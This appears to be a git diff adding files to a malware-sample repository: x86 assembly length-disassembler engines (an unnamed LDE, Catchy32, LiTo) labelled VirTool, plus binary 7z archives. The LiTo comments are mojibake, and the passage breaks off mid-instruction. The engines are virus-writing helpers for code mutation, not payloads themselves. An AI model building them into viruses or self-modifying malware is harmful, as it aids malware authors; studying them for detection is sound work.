Al+* [ 0] NULL 00000000 000000 000000 00 0 0 0+* [ 1] .text PROGBITS 08048074 000074 0002c2 00 AX 0 0 4+* [ 2] .data PROGBITS 08049380 000380 000800 00 WA 0 0 4+* ...+* = AA5(hex) = 2725(dec)+*+*[-----------------------------------------------------------------------------------]+*+* version: 1.0BETA+*+*/++.include "table.h"+.text+# little defines+diza = 12+buffer = -4+flag1 = -52+flag2 = -51+opcode = -53+t = -60+mod = -61+rm = -62+a = -68+b = -72+counter = -76++.globl l_disasm+l_disasm:+ pushl %ebp+ movl %esp,%ebp++ movl 8(%ebp),%eax+ movl %eax,buffer(%ebp) # buf+ leal -48(%ebp),%eax # temp diza structure+ movl %eax,diza(%ebp) # diza++ movb $4,1(%eax) # filling structure+ movb $4,(%eax)++ movl $0,flag1(%ebp) # flag1 = 0++loop:+ movl buffer(%ebp),%eax+ movb (%eax),%dl+ movb %dl,opcode(%ebp) # opcode+ incl buffer(%ebp) # buf++;+ movzbl opcode(%ebp),%eax+ leal 0(,%eax,4),%edx+ movl $op_tab,%eax+ movl (%edx,%eax),%edx+ movl %edx,t(%ebp) # t = op_tab[opcode]+ movb t(%ebp),%al+ andb $0xF8,%al+ testb %al,%al+ je check_opcode+ movl flag1(%ebp),%eax+ andl t(%ebp),%eax+ testl %eax,%eax+ jne return++ movl t(%ebp),%edx+ orl %edx,flag1(%ebp)++# prefix/mod/rm/flags/opcodes...checking+# no reason to comment all this stuff...++check_prefix:++ movb t(%ebp),%al+ test %esi,%esi+ jne chp1+ andb $0x10,%al+ testb %al,%al+ je chp1+ jmp chpn+chp1:+ movb t(%ebp),%al+ incl %esi+ andb $0x20,%al+ testb %al,%al+ je cp_sub2+chpn:+ movl diza(%ebp),%eax+ movl diza(%ebp),%edx+ movb 1(%edx),%cl+ xorb $6,%cl+ movb %cl,1(%eax)+ jmp loop++cp_sub2:+ movb t(%ebp),%al+ andb $0x80,%al+ testb %al,%al+ je cp_sub3+ movl diza(%ebp),%eax+ movb opcode(%ebp),%dl+ movb %dl,21(%eax)+ jmp loop++cp_sub3:+ movb t(%ebp),%al+ andb $0x40,%al+ testb %al,%al+ je loop+ movl diza(%ebp),%eax+ movb opcode(%ebp),%dl+ movb %dl,20(%eax)++check_opcode:+ movl t(%ebp),%eax+ orl %eax,flag1(%ebp)+ movl diza(%ebp),%eax+ movb opcode(%ebp),%dl+ movb %dl,22(%eax)+ cmpb $15,opcode(%ebp)+ jne co_sub1+ movl buffer(%ebp),%ebx+ movb (%ebx),%al+ movb %al,opcode(%ebp)+ incl buffer(%ebp)+ movl diza(%ebp),%eax+ movb opcode(%ebp),%dl+ movb %dl,23(%eax)+ movzbl opcode(%ebp),%eax+ leal 256(%eax),%edx+ leal 0(,%edx,4),%eax+ movl $op_tab,%edx+ movl (%eax,%edx),%ecx+ orl %ecx,flag1(%ebp)+ cmpl $-1,flag1(%ebp)+ jne check_mod+ jmp return++co_sub1:+ cmpb $0xF7,opcode(%ebp)+ jne co_sub2+ movl buffer(%ebp),%eax+ movb (%eax),%dl+ andb $0x38,%dl+ testb %dl,%dl+ jne check_mod+ orb $0x20,flag2(%ebp)+ jmp check_mod++co_sub2:+ cmpb $0xF6,opcode(%ebp)+ jne check_mod+ movl buffer(%ebp),%eax+ movb (%eax),%dl+ andb $0x38,%dl+ testb %dl,%dl+ jne check_mod+ orb $1,flag2(%ebp)++check_mod:+ movl flag1(%ebp),%eax+ andl $0x4000,%eax+ testl %eax,%eax+ je checks_complete+ movl buffer(%ebp),%edi+ movb (%edi),%al+ movb %al,opcode(%ebp)+ incl buffer(%ebp)+ movl diza(%ebp),%eax+ movb opcode(%ebp),%dl+ movb %dl,24(%eax)+ movb opcode(%ebp),%al+ andb $0x38,%al+ cmpb $0x20,%al+ jne cm_sub1+ movl diza(%ebp),%eax+ cmpb $0xFF,22(%eax)+ jne cm_sub1+ orb $4,-50(%ebp) # flag++cm_sub1:+ movb opcode(%ebp),%al+ andb $0xC0,%al+ movb %al,mod(%ebp)+ movb opcode(%ebp),%dl+ andb $7,%dl+ movb %dl,rm(%ebp)+ cmpb $0xC0,mod(%ebp)+ je checks_complete+ movl diza(%ebp),%eax+ cmpb $4,(%eax)+ jne cm_sub5+ cmpb $4,rm(%ebp)+ jne cm_sub2+ orb $8,flag2(%ebp)+ movl buffer(%ebp),%edi+ movb (%edi),%al+ movb %al,opcode(%ebp)+ incl buffer(%ebp)+ movl diza(%ebp),%eax+ movb opcode(%ebp),%dl+ movb %dl,25(%eax)+ movb opcode(%ebp),%cl+ andb $7,%cl+ movb %cl,rm(%ebp)++cm_sub2:+ cmpb $0x40,mod(%ebp)+ jne cm_sub3+ orb $1,flag1(%ebp)+ jmp checks_complete++cm_sub3:+ cmpb $0x80,mod(%ebp)+ jne cm_sub4+ orb $4,flag1(%ebp)+ jmp checks_complete++cm_sub4:+ cmpb $5,rm(%ebp)+ jne checks_complete+ orb $4,flag1(%ebp)+ jmp checks_complete++cm_sub5:+ cmpb $0x40,mod(%ebp)+ jne cm_sub6+ orb $1,flag1(%ebp)+ jmp checks_complete++cm_sub6:+ cmpb $0x80,mod(%ebp)+ jne cm_sub7+ orb $2,flag1(%ebp)+ jmp checks_complete++cm_sub7:+ cmpb $6,rm(%ebp)+ jne checks_complete+ orb $2,flag1(%ebp)++checks_complete:+ movl diza(%ebp),%eax+ movl flag1(%ebp),%edx+ movl %edx,8(%eax)+ movl flag1(%ebp),%eax+ andl $7,%eax+ movl %eax,a(%ebp)++ movl flag1(%ebp),%edx+ andl $0x700,%edx+ shrl $8,%edx+ movl %edx,b(%ebp)+ movl flag1(%ebp),%eax+ andl $0x1000,%eax+ testl %eax,%eax+ je cc_sub1+ movl diza(%ebp),%eax+ movzbl (%eax),%edx+ addl %edx,a(%ebp)++cc_sub1:+ movl flag1(%ebp),%eax+ andl $0x2000,%eax+ testl %eax,%eax+ je cc_sub2+ movl diza(%ebp),%eax+ movzbl 1(%eax),%edx+ addl %edx,b(%ebp)+cc_sub2:+ movl diza(%ebp),%eax+ movl a(%ebp),%edx+ movl %edx,diza(%eax)+ movl diza(%ebp),%eax+ movl b(%ebp),%edx+ movl %edx,16(%eax)+ movl $0,counter(%ebp)+cc_sub3:+ movl counter(%ebp),%eax+ cmpl a(%ebp),%eax+ jnb cc_sub4+ movl diza(%ebp),%edx+ leal 28(%edx),%eax+ movl counter(%ebp),%edx+ movl buffer(%ebp),%ecx+ movl %ecx,(%edx,%eax)+ incl buffer(%ebp)+ incl counter(%ebp)+ jmp cc_sub3+cc_sub4:+ movl $0,counter(%ebp)+cc_sub5:+ movl counter(%ebp),%eax+ cmpl b(%ebp),%eax+ jnb cc_sub6+ movl diza(%ebp),%edx+ leal 36(%edx),%eax+ movl counter(%ebp),%edx+ movl buffer(%ebp),%ecx+ movl %ecx,(%edx,%eax)+ incl buffer(%ebp)+ incl counter(%ebp)+ jmp cc_sub5+cc_sub6:+ movl buffer(%ebp),%eax+ subl 8(%ebp),%eax++return:+ leave+ ret+++/****************************************************+.include "0x4553_LDE.s"+.globl main+main:++push %ebp+mov %esp,%ebp++push $2+push $file+call open+mov %eax,fd++push $424+call malloc+mov %eax,data++push $424+push data+push fd+call read++mov data,%eax+add $0x74,%eax # entry point, first instruction - xor %eax,%eax+push %eax+call l_disasm++push %eax+push $l+call printf++call exit++l:.string"Lenght of instruction: %d\n"+file: .string "test"++.comm fd,4,4+.comm data,424,4+*****************************************************/++/****************************************************+table.h++.globl op_tab+.data+op_tab:+ .long 16384 # 0x00+ .long 16384 # 0x01+ .long 16384 # 0x02+ .long 16384 # ...+ .long 256+ .long 8192+ .long 32768+ .long 32768+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 256+ .long 8192+ .long 32768+ .long 65536+ .long 49152+ .long 16384+ .long 49152+ .long 16384+ .long 33024+ .long 40960+ .long 32768+ .long 32768+ .long 49152+ .long 16384+ .long 16384+ .long 16384+ .long 33024+ .long 40960+ .long 32768+ .long 32768+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 256+ .long 8192+ .long 32896+ .long 32768+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 256+ .long 8192+ .long 32896+ .long 32768+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 256+ .long 8192+ .long 32896+ .long 32768+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 256+ .long 8192+ .long 32896+ .long 32768+ .long 0+ .long 0+ .long 0+ .long 0+ .long 32768+ .long 0+ .long 0+ .long 0+ .long 0+ .long 0+ .long 0+ .long 0+ .long 32768+ .long 0+ .long 0+ .long 0+ .long 0+ .long 0+ .long 0+ .long 0+ .long 0+ .long 0+ .long 0+ .long 0+ .long 0+ .long 0+ .long 0+ .long 0+ .long 32768+ .long 0+ .long 0+ .long 0+ .long 32768+ .long 32768+ .long 49152+ .long 49152+ .long 128+ .long 32896+ .long 32+ .long 16+ .long 8192+ .long 24576+ .long 256+ .long 16640+ .long 32768+ .long 32768+ .long 32768+ .long 32768+ .long 164096+ .long 164096+ .long 131328+ .long 131328+ .long 131328+ .long 131328+ .long 131328+ .long 131328+ .long 131328+ .long 131328+ .long 164096+ .long 164096+ .long 131328+ .long 131328+ .long 131328+ .long 131328+ .long 16640+ .long 24576+ .long 49408+ .long 16640+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 49152+ .long 16384+ .long 49152+ .long 16384+ .long 0+ .long 0+ .long 0+ .long 32768+ .long 32768+ .long 32768+ .long 32768+ .long 32768+ .long 32768+ .long 0+ .long 41472+ .long 0+ .long 32768+ .long 32768+ .long 32768+ .long 32768+ .long 4096+ .long 4096+ .long 4096+ .long 4096+ .long 0+ .long 0+ .long 0+ .long 0+ .long 256+ .long 8192+ .long 0+ .long 0+ .long 0+ .long 32768+ .long 0+ .long 32768+ .long 256+ .long 256+ .long 256+ .long 256+ .long 256+ .long 256+ .long 33024+ .long 33024+ .long 8192+ .long 8192+ .long 8192+ .long 8192+ .long 40960+ .long 8192+ .long 8192+ .long 8192+ .long 16640+ .long 16640+ .long 262656+ .long 262144+ .long 49152+ .long 49152+ .long 16640+ .long 24576+ .long 768+ .long 0+ .long 295424+ .long 294912+ .long 32768+ .long 256+ .long 32768+ .long 294912+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 33024+ .long 33024+ .long 32768+ .long 32768+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 164096+ .long 164096+ .long 131328+ .long 131328+ .long 33024+ .long 33024+ .long 33024+ .long 33024+ .long 139264+ .long 401408+ .long 41472+ .long 393472+ .long 32768+ .long 32768+ .long 32768+ .long 32768+ .long 32776+ .long 32768+ .long 64+ .long 64+ .long 32768+ .long 32768+ .long 16384+ .long 16384+ .long 0+ .long 0+ .long 32768+ .long 32768+ .long 0+ .long 0+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long -1+ .long -1+ .long 0+ .long -1+ .long 0+ .long 0+ .long 0+ .long 0+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long 139264+ .long 139264+ .long 139264+ .long 139264+ .long 139264+ .long 139264+ .long 139264+ .long 139264+ .long 139264+ .long 139264+ .long 139264+ .long 139264+ .long 139264+ .long 139264+ .long 139264+ .long 139264+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 0+ .long 0+ .long 0+ .long 16384+ .long 16640+ .long 16384+ .long -1+ .long -1+ .long 0+ .long 0+ .long 0+ .long 16384+ .long 16640+ .long 16384+ .long -1+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long -1+ .long -1+ .long 16640+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long 16384+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long 0+ .long 0+ .long 0+ .long 0+ .long 0+ .long 256+ .long 0+ .long 0+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1+ .long -1 # 0xff+*****************************************************/diff --git a/Malwares/Win32/Disassembler/VirTool.Win32.Disassembler.Ade.7z b/Malwares/Win32/Disassembler/VirTool.Win32.Disassembler.Ade.7znew file mode 100644index 0000000..a333a9bBinary files /dev/null and b/Malwares/Win32/Disassembler/VirTool.Win32.Disassembler.Ade.7z differdiff --git a/Malwares/Win32/Disassembler/VirTool.Win32.Disassembler.Ade86.7z b/Malwares/Win32/Disassembler/VirTool.Win32.Disassembler.Ade86.7znew file mode 100644index 0000000..a9c27e1Binary files /dev/null and b/Malwares/Win32/Disassembler/VirTool.Win32.Disassembler.Ade86.7z differdiff --git a/Malwares/Win32/Disassembler/VirTool.Win32.Disassembler.Bpde.7z b/Malwares/Win32/Disassembler/VirTool.Win32.Disassembler.Bpde.7znew file mode 100644index 0000000..e87fcfcBinary files /dev/null and b/Malwares/Win32/Disassembler/VirTool.Win32.Disassembler.Bpde.7z differdiff --git a/Malwares/Win32/Disassembler/VirTool.Win32.Disassembler.Catchy32.inc b/Malwares/Win32/Disassembler/VirTool.Win32.Disassembler.Catchy32.incnew file mode 100644index 0000000..1602963--- /dev/null+++ b/Malwares/Win32/Disassembler/VirTool.Win32.Disassembler.Catchy32.inc@@ -0,0 +1,174 @@+; Catchy32 v1.6-2 - Length Disassembler Engine 32bit+; original source Catchy32.inc-orig (c) sars [HI-TECH] 2003+; this slightly opimized version - herm1t'2004+ BITS 32+ CPU 386+ global catchy32++pref66h equ 1+pref67h equ 2++catchy32: pushad+ mov esi, [esp + 36] ; pointer to opcode+ sub esp, 256 ; allocate space for the table in stack+ mov ebp, esp ; ebp <- opcode table+ mov edi, esp+ push esi+;; (1) unpack table+ mov edx, esp ; save stack pointer+ push 115+ pop ecx+ call .data+ db 0x45,0x29,0x20,0x45,0x29,0x20,0x45,0x29+ db 0x20,0x45,0x29,0x20,0x45,0x29,0x36,0x45+ db 0x29,0x36,0x45,0x29,0x36,0x45,0x29,0x36+ db 0xe0,0xe0,0x60,0x25,0x57,0x30,0x28,0x40+ db 0xe7,0x27,0x2c,0x2b,0xc5,0xa0,0x31,0x40+ db 0x4f,0x40,0x29,0x60,0x87,0x8f,0x2b,0x2d+ db 0x25,0x2c,0x2e,0x2d,0x22,0x20,0x45,0x27+ db 0x20,0x85,0x87,0x2f,0x32,0x40,0x36,0x37+ db 0x20,0x25,0x60,0x65,0x33,0x40,0x35,0x34+ db 0x23,0x85,0x26,0x75,0x45,0x46,0x85,0x60+ db 0xb5,0xe5,0xe5,0xe5,0x65,0x4b,0x25,0x24+ db 0x85,0xef,0x2f,0xe5,0x25,0x20,0x21,0x2a+ db 0x25,0x20,0x21,0x2a,0xa5,0x35,0x2a,0x65+ db 0x2a,0x2b,0x2a,0x80,0x34,0xe5,0xe5,0x25+ db 0x34,0xc5,0x26+ ; xlat table+ db 0x00,0x01,0x02,0x03,0x10,0x11,0x1e,0x22+ db 0x23,0x28,0x31,0x33,0x39,0x40,0x60,0x88+ db 0x89,0xc0,0xc2,0xe0,0xe1,0xee,0xf0,0xff+.data: pop esi+ lea ebx, [esi + ecx]+ xor eax, eax+.next: lodsb+ push ecx+ mov ecx, eax+ shr ecx, 5+ and al, 31+ xlat+ rep stosb+ pop ecx+ loop .next+ mov esp, edx ; restore stack frame+;; /unpack+ pop esi+ push edi ; (2)+ mov edi, esi ; (3)++ cmp word [esi], 20cdh ; VXD call (6 bytes)+ jne ExtFlags+ inc esi+ inc esi+ lodsd+CalcLen: sub esi, edi ; (3)+ cmp esi, 15+ jbe OK+Error: xor esi, esi+ dec esi+OK: pop esp ; (2)+ mov [esp+4*7], esi+ popad+ ret+ ; ecx zero after loop+;==============================================================================+ExtFlags: xor eax, eax+ xor ebx, ebx+ cdq+ lodsb ;al <- opcode+ mov cl, al ;cl <- opcode+ cmp al, 0fh ;Test on prefix 0Fh+ jne NormTable+ lodsb+ inc ah ;EAX=al+100h (100h/2 - lenght first table)+NormTable: shr eax, 1 ;Elements tables on 4 bits+ mov al, byte [ebp + eax]+ jc IFC1+ shr eax, 4 ;Get high 4-bits block if offset is odd, otherwise...+IFC1: and al, 0fh+ xchg eax, ebx ;EAX will be needed for other purposes+CheckFlags: cmp bl, 0Eh ;Test on ErrorFlag+ je Error+ cmp bl, 0Fh ;Test on PrefixFlag+ je Prefix+ or ebx, ebx ;One byte command+ jz CalcLen+ btr ebx, 0 ;Command with ModRM byte+ jc ModRM+ btr ebx, 1 ;Test on imm8,rel8 etc flag+ jc incr1+ btr ebx, 2 ;Test on ptr16 etc flag+ jc incr2+ and bl, 11110111b ;Reset 16/32 sign+ cmp cl, 0A0h ;Processing group 0A0h-0A3h+ jb Check66h+ cmp cl, 0A3h+ ja Check66h+ test ch, pref67h+ jnz incr2+ jmp incr4+Check66h: test ch, pref66h+ jnz incr2+incr4: inc esi+ inc esi+incr2: inc esi+incr1: inc esi+jmp_CheckFlags: jmp CheckFlags+;-----------------------------------------------+Prefix: cmp cl, 66h+ je SetF66h+ cmp cl, 67h+ jne ExtFlags+SetF67h: or ch, pref67h+ jmp ExtFlags+;-----------------------------------------------+SetF66h: or ch, pref66h+ jmp ExtFlags+;-----------------------------------------------+ModRM: lodsb+ cmp cl, 0F7h ;Check on 0F6h and 0F7h groups+ je F6F7+ cmp cl, 0F6h+ jne ModXX+F6F7: test al, 00111000b ;Processing groups 0F6h and 0F7h+ jnz ModXX+ test cl, 00000001b+ jz incbt1+ test ch, 1+ jnz incbt2+ inc esi+ inc esi+incbt2: inc esi+incbt1: inc esi+ModXX: mov edx, eax ;Processing MOD bits+ and al, 00000111b ;al <- only R/M bits+ test dl, 11000000b ;Check MOD bits+ jz Mod00+ jp CheckFlags ;Or c_Mod11+ js Mod10+Mod01: test ch, pref67h+ jnz incr1 ;16-bit addressing+ cmp al, 4 ;Check SIB+ je incr2+ jmp incr1+;-----------------------------------------------+Mod00: test ch, pref67h+ jz Mod00_32 ;32-bit addressing+ cmp al, 6+ je incr2+ jmp jmp_CheckFlags+;-----------------------------------------------+Mod00_32: cmp al, 4 ;Check SIB+ jne disp32+ lodsb ;Processing SIB byte+ and al, 00000111b+disp32: cmp al, 5+ je incr4+ jmp jmp_CheckFlags+;-----------------------------------------------+Mod10: test ch, pref67h+ jnz incr2 ;16-bit addressing+ cmp al, 4 ;Check SIB+ jne incr4+ inc esi+ jmp incr4diff --git a/Malwares/Win32/Disassembler/VirTool.Win32.Disassembler.Dde.7z b/Malwares/Win32/Disassembler/VirTool.Win32.Disassembler.Dde.7znew file mode 100644index 0000000..0a2aae5Binary files /dev/null and b/Malwares/Win32/Disassembler/VirTool.Win32.Disassembler.Dde.7z differdiff --git a/Malwares/Win32/Disassembler/VirTool.Win32.Disassembler.Lito.asm b/Malwares/Win32/Disassembler/VirTool.Win32.Disassembler.Lito.asmnew file mode 100644index 0000000..ce33b19--- /dev/null+++ b/Malwares/Win32/Disassembler/VirTool.Win32.Disassembler.Lito.asm@@ -0,0 +1,398 @@+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; ;+; ### ;+; ### ;+; ### #################################################### ;+; ### #################################################### ;+; ### ### ### ;+; ### ### ### ######### ### ;+; ### ### ### ########### ;+; ### ### ## ## ;+; ### ### ### ## ## ;+; ### ### ### ## ## ;+; ### ### ### ### ## ## ;+; ### ### ### ### ## ## ;+; ############ ### ### ########### ;+; ################################################################ ;+; ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; Advanced Length dIsassembler moTOr:) ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; ����� 2.1 ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+;�㭪�� _LiTo_ ;+;�����ᥬ������� ��設��� ������� ;+;��।������ ����� ��設��� ������� ;+;�室: ;+;esi - ���� ࠧ��ࠥ��� ��設��� ������� ;+;edi - 㪠��⥫� �� ��室��� �������� (��� ����) (������� �� INSTR:) ;+;��室: ;+;� eax - ����� ��設��� �������. ;+;����⪨: ;+;(x) ��室��� ������� (��� ����) ���������� � ����� �����ᥬ������� ;+;������樨 � ������ �।�⠢���� ᮡ�� ���饥: ;+; ;+; INSTR1 struct ;+; (+ 00) len_com db 00h ; - ����� �������; ;+; (+ 01) flags dd 00h ; - ���⠢����� 䫠�� ;+; (+ 05) seg db 00h ; - ᥣ���� (� ����); ;+; (+ 06) repx db 00h ; - ��䨪� (0F2h/0F3h) (� ����); ;+; (+ 07) len_offset db 00h ; - ࠧ��� ᬥ饭��; ;+; (+ 08) len_operand db 00h ; - ࠧ��� ���࠭��; ;+; (+ 09) opcode db 00h ; - ����� (� �����=0Fh, ⮣�� ;+; ; � ��࠭���� 2-�� �����, � ;+; ; ��⠭���������� 䫠� B_OPCODE2); ;+; (+ 10) modrm db 00h ; - ���� MODRM (⠪��, � ����) ;+; (+ 11) sib db 00h ; - ���� SIB ;+; (+ 12) offset db 8 dup (00h); - ᬥ饭�� ������樨 ;+; (+ 20) operand db 8 dup (00h); - ���࠭� ������樨 ;+; INSTR1 ends ;+; ;+;(�) ���������� (����) ⮫쪮 general purpose & fpu instructions ;+; (��⠫�� - � ⮯��:)! ;+;(�) ��� ��ન �� ���ᨬ����� ����� ������樨 (15 ����) (���७) ;+;(�) ��� ������ �� ⠡��窨: ;+; ����� ������: ⠪ ��� � �⮬ ����ᬥ �ᯮ������� 䫠�� � ��� ;+; ������祭��� <=8, � ��� ������ 䫠�� �����筮 ���� � �������� ���� ;+; (���ᨬ��쭮� � =8 (B_PREFIX6X) - � ����筮� �।�⠢����� =1000b). ;+; ���� ��, ���� �㯮 � ���� ���� ����娢��� 2 䫠�� - ��� � ��. ����� ;+; ��ࠧ��, ������ ⠡��窠 � 256 ���� �१����� �� 128. ;+;(�) ��� 32-��⭮�� �ᯮ��塞��� ����. ;+;(�) �� ���, ����� ��䨣 ᠬ � �������� ��⠫�� ������� � ��直� ⠬ ;+; ��ન. ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+ ;+ ;+ ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ����: ;+;(+) ����������ᨬ���� ;+;(+) 㯠������� ⠡��窨 ;+; ;+;(-) ���୮ ��������� ���� ������樨 ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+ ;+ ;+ ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; �������������: ;+;1)������祭��: ;+; lito.asm ;+;2)�맮�:(�ਬ��) ;+; lea esi,XXXXXXXXh ;���� �������, ��� ����� ���� 㧭��� ;+; lea edi,XXXXXXXXh ;lea edi,INSTR1 ;+; call LiTo ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+++ ;m1x++_LiTo_:+ pushad+ call _delta_lito_+;===================================================================================++;��ப� ��䨪ᮢ+pfx:+db 2Eh,36h,3Eh,26h,64h,65h,0F2h,0F3h,0F0h,66h,67h++SizePfx equ $-pfx ;����� pfx++;===================================================================================++;⠡��� 䫠��� ��� ���������� �������+TableFlags1:++; 01 23 45 67 89 AB CD EF+db 11h,11h,28h,00h,11h,11h,28h,00h ;00+db 11h,11h,28h,00h,11h,11h,28h,00h ;01+db 11h,11h,28h,00h,11h,11h,28h,00h ;02+db 11h,11h,28h,00h,11h,11h,28h,00h ;03+db 00h,00h,00h,00h,00h,00h,00h,00h ;04+db 00h,00h,00h,00h,00h,00h,00h,00h ;05+db 00h,11h,00h,00h,89h,23h,00h,00h ;06+db 22h,22h,22h,22h,22h,22h,22h,22h ;07+db 39h,33h,11h,11h,11h,11h,11h,11h ;08+db 00h,00h,00h,00h,00h,0C0h,00h,00h ;09+db 88h,88h,00h,00h,28h,00h,00h,00h ;0A+db 22h,22h,22h,22h,88h,88h,88h,88h ;0B+db 33h,40h,11h,39h,60h,40h,02h,00h ;0C+db 11h,11h,22h,00h,11h,11h,11h,11h ;0D+db 22h,22h,22h,22h,88h,0C2h,00h,00h ;0E+db 00h,00h,00h,11h,00h,00h,00h,11h ;0F+++;===================================================================================++;⠡��� 䫠��� ��� ���塠���� �������+TableFlags2:++; 01 23 45 67 89 AB CD EF+db 11h,11h,00h,00h,00h,00h,01h,00h ;00+db 00h,00h,00h,00h,00h,00h,00h,01h ;01+db 11h,11h,00h,00h,00h,00h,00h,00h ;02+db 00h,00h,00h,00h,00h,00h,00h,00h ;03+db 11h,11h,11h,11h,11h,11h,11h,11h ;04+db 00h,00h,00h,00h,00h,00h,00h,00h ;05+db 00h,00h,00h,00h,00h,00h,00h,00h ;06+db 00h,00h,00h,00h,00h,00h,00h,00h ;07+db 88h,88h,88h,88h,88h,88h,88h,88h ;08+db 11h,11h,11h,11h,11h,11h,11h,11h ;09+db 00h,01h,31h,00h,00h,01h,31h,01h ;0A+db 11h,11h,11h,11h,00h,31h,11h,11h ;0B+db 11h,00h,00h,01h,00h,00h,00h,00h ;0C+db 00h,00h,00h,00h,00h,00h,00h,00h ;0D+db 00h,00h,00h,00h,00h,00h,00h,00h ;0E+db 00h,00h,00h,00h,00h,00h,00h,00h ;0F+;===================================================================================++SizeTbl equ $-pfx+;===================================================================================+;䫠��+;-----------------------------------------------------------------------------------+B_NONE equ 00h ;xex+B_MODRM equ 01h ;present byte MODRM+B_DATA8 equ 02h ;present imm8,rel8, etc+B_DATA16 equ 04h ;present imm16,rel16, etc+B_PREFIX6X equ 08h ;present imm16/imm32 (� ����ᨬ��� �� ������ ��䨪� 0x66 (0x67 ��� ������� 0xA0-0xA3))+B_SEG equ 10h ;present segment (�ਬ��: 0x2e,0x3E, etc)+B_PFX66 equ 20h ;present byte 0x66+B_PFX67 equ 40h ;present byte 0x67+B_LOCK equ 80h ;present byte LOCK (0xF0)+B_REP equ 100h ;present byte rep[e/ne]+B_OPCODE2 equ 200h ;present second opcode (first opcode=0x0F)+B_SIB equ 400h ;present byte SIB+B_RELX equ 800h ;present jxx/jmp/call (rel8,rel16,rel32)+;===================================================================================++_delta_lito_:+ pop ebp+ cld+ xor eax,eax+ xor ebx,ebx+ cdq ;� edx: dl(0/1) - ���/���� ��䨪� 0x66+ ; dh(0/1) - ���/���� ��䨪� 0x67+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxBEG ���� ��䨪ᮢxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+_nextpfx_:+ lodsb ;����砥� ��।��� ���� �������+ push edi+ lea edi,[ebp+(pfx-_delta_lito_+SizeTbl)] ;� edi - ���� ��ப� ��䨪ᮢ+ db 6Ah,SizePfx+ pop ecx+ repne scasb ;���� �� � ࠧ��ࠥ��� ������� ��䨪��?+ pop edi+ jne 